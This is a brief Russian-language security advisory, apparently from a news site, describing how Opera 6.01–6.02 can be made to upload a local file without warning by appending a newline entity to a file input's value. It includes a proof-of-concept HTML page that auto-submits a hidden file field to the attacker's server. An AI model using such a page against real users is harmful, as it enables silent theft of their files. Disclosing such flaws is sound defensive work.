Opera, подобно большинством браузерам, поддерживает элемент <input type="file">, который используется для загрузки файлов на HTTP сервер. Так как элемент file очень чувствительный для безопасности, большинство web-браузеров не позволяет устанавливать атрибут "value" (если это удастся, то злонамеренный Web cервер может загружать произвольный локальный файл,
через форму). 

В Opera атрибут "value" может быть установлен, но перед отправкой на сервер, пользователю будет выдано предупреждение: "The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these
files?" 

Если добавить простой "&#10;" (HTML объект, который соответствует ASCII коду символа новой строки (new-line)) к концу атрибута
"value" элемента file, то алгоритм безопасности Opera посчитает, что никакие файлы небыли
переданы, и предупреждение не будет отображено. Опера просто представит форму с желательным файлом, выбранным нападающим. 

Уязвимость обнаружена в Opera version 6.01-6.02 (версии до 6.01 не подвержены этой уязвимости). 

Пример (доставит файл c:/test.txt атакующему серверу): 

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php" 
name="secForm">
<input type="file" name="expFile" value="c:\test.txt" 
style="visibility:hidden">
</form>
</body>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии